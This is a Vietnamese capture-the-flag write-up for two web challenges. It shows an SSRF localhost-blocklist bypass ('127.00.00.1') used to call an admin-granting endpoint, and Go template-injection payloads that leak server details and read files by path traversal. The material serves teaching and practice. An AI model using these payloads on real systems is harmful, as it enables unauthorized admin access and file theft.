# WEB: HauntMart
> An eerie expedition into the world of online retail, where the most sinister and spine-tingling inventory reigns supreme. Can you take it down?
> [web_hautman](https://uithcm-my.sharepoint.com/:u:/g/personal/23520385_ms_uit_edu_vn/ERC6X1u1NJVOhNUEoGU_1l8B0RBACZQCHKPqPIecJGpHGA?e=1nv1e3)
>
> 
Web có các chức năng cơ bản là đăng ký, đăng nhập, bán hàng.
Trước hết là trong file `index.html` sẽ có flag nếu role của user là admin
```html=24
<div class="collapse navbar-collapse" id="navbarColor03">
<ul class="navbar-nav ms-auto">
{% if user['role'] == 'admin' %}
{{flag}}
{% endif %}
<li class="nav-item"
```
Ta cần tìm cách lấy được quyền admin của server.
Ở trong file `challenge/application/blueprints/routes.py` có 2 route đáng chú ý
```python=74
@api.route('/product', methods=['POST'])
@isAuthenticated
def sellProduct(user):
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
name = data.get('name', '')
price = data.get('price', '')
description = data.get('description', '')
manualUrl = data.get('manual', '')
if not name or not price or not description or not manualUrl:
return response('All fields are required!'), 401
manualPath = downloadManual(manualUrl)
if (manualPath):
addProduct(name, description, price)
return response('Product submitted! Our mods will review your request')
return response('Invalid Manual URL!'), 400
@api.route('/addAdmin', methods=['GET'])
@isFromLocalhost
def addAdmin():
username = request.args.get('username')
if not username:
return response('Invalid username real'), 400
result = makeUserAdmin(username)
if result:
return response('User updated!')
return response('Invalid username face'), 400
```
Khi GET `/api/addAdmin` với IP là 127.0.0.1 thì có thể set được user thành admin. Do đó ta cần request đến localhost từ proxy service.
Trong hàm `sellProduct`, có sử dụng hàm `downloadManual(url)` từ utils với logic như sau
```python=
blocked_host = ["127.0.0.1", "localhost", "0.0.0.0"]
def isSafeUrl(url):
for hosts in blocked_host:
if hosts in url:
return False
return True
def downloadManual(url):
safeUrl = isSafeUrl(url)
if safeUrl:
try:
local_filename = url.split("/")[-1]
r = requests.get(url)
with open(f"/opt/manualFiles/{local_filename}", "wb") as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
return True
except:
return False
return False
```
Khi chạy, hàm sẽ kiểm tra `isSafeUrl` hay không rồi gửi GET Request đến url đấy từ server --> Có thể khai thác ở đây
Tuy nhiên các địa chỉ đến localhost cơ bản đã bị chặn. Ta có thể bypass với `127.00.00.1`

Như vậy là xong, có thể sẽ cần logout và login lại để thấy flag ở home page.
# WEB: Ghostly Templates
> In the dark corners of the internet, a mysterious website has been making waves among the cybersecurity community. This site, known for its Halloween-themed templates, has sparked rumors of an eerie secret lurking beneath the surface. Will you delve into this dark and spooky webapp to uncover the hidden truth?
> [web_ghostlytemplates](https://uithcm-my.sharepoint.com/:u:/g/personal/23520385_ms_uit_edu_vn/EbXQH7GPl1NAseHeeeAYTiwBtLp0jpv128zFsnLOBpno9g?e=cA0HOm)
>
> 
Web sẽ cho chúng ta điền link đến template và render nó ra trong tab mới. Khi nhập thử test, web sẽ redirect tới `/view?page=test&remote=true`
```go=
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", getIndex)
mux.HandleFunc("/view", getTpl)
mux.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))
fmt.Println("Server started at port " + WEB_PORT)
http.ListenAndServe(":"+WEB_PORT, mux)
}
```
Với route là `/view` sẽ được xử lí qua hàm `getTpl`
```go=
func getTpl(w http.ResponseWriter, r *http.Request) {
var page string = r.URL.Query().Get("page")
var remote string = r.URL.Query().Get("remote")
...
reqData := &RequestData{}
var tmplFile string
if remote == "true" {
tmplFile, err = readRemoteFile(page)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
} else {
if !reqData.IsSubdirectory("./", TEMPLATE_DIR+"/"+page) {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
tmplFile = reqData.OutFileContents(TEMPLATE_DIR + "/" + page)
}
tmpl, err := template.New("page").Parse(tmplFile)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
err = tmpl.Execute(w, reqData)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
}
```
Server sẽ get 2 parameter `page` và `remote`. Chia ra 2 trường hợp khi remote là true và ngược lại.
- Khi `remote == true` thì `tmplFile` sẽ bằng string là giá trị trả về của hàm `readRemoteFile(page)`
```go=
func readRemoteFile(url string) (string, error) {
response, err := http.Get(url)
...
content, err := io.ReadAll(response.Body)
...
return string(content), nil
}
```
Hàm này sẽ thực hiện GET request tới URL nào đó và trả về reponse của web dưới dạng string.
<br>
- Khi `remote != true` thì `tmplFile` bằng giá trị trả về của hàm `OutFileContents`
```go=
func (p RequestData) IsSubdirectory(basePath, path string) bool {
rel, err := filepath.Rel(basePath, path)
...
return !strings.HasPrefix(rel, ".."+string(filepath.Separator))
}
func (p RequestData) OutFileContents(filePath string) string {
data, err := os.ReadFile(filePath)
...
return string(data)
}
```
Trước khi đọc file từ local thì server sẽ kiểm tra xem rel path có bắt đầu với `../` hay không.
Như vậy, hướng ban đầu của mình là cho remote=false và path traversal để đọc flag đã không thể thực hiện được. Chuyển qua với remote=true
Sau đó server sẽ sử dụng template để render ra, và ở đây server sử dụng `html/template` --> Nghĩ tới hướng SSTI.
Vào [hastepin](https://hastebin.skyra.pw/) tạo một đoạn text mới với nội dung
```
{{.}}
```
Copy link raw và gán vào `page`. Vì khi execute, ta truyền vào `reqData` nên server sẽ trả về content của biến
```
{113.69.110.69 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36 {a1fb1eba15ec
Alpine Linux v3.18
5.15.90.1-microsoft-standard-WSL2
5.7G
} { VN Ho Chi Minh 0 0 +07:00 }}
```
Như vậy ta có thể thực hiện SSTI để đọc file flag. Mình cũng đã phát hiện được thông tin thú vị về việc này
> If you want to find a RCE in go via SSTI, you should know that as you can access the given object to the template with {{ . }}, **you can also call the objects methods**. So, imagine that the **passed object has a method called System** that executes the given command, you could abuse it with: {{ .System "ls" }}
Lúc này truy ngược lại `RequestData`, đây là một struct và có một property là hàm `OutFileContents` để đọc file, vốn được sử dụng để đọc file khi `remote != true`.
Bây giờ chỉ việc gọi đến hàm này và đọc file flag là xong.
```
{{.OutFileContents "../../flag.txt"}}
```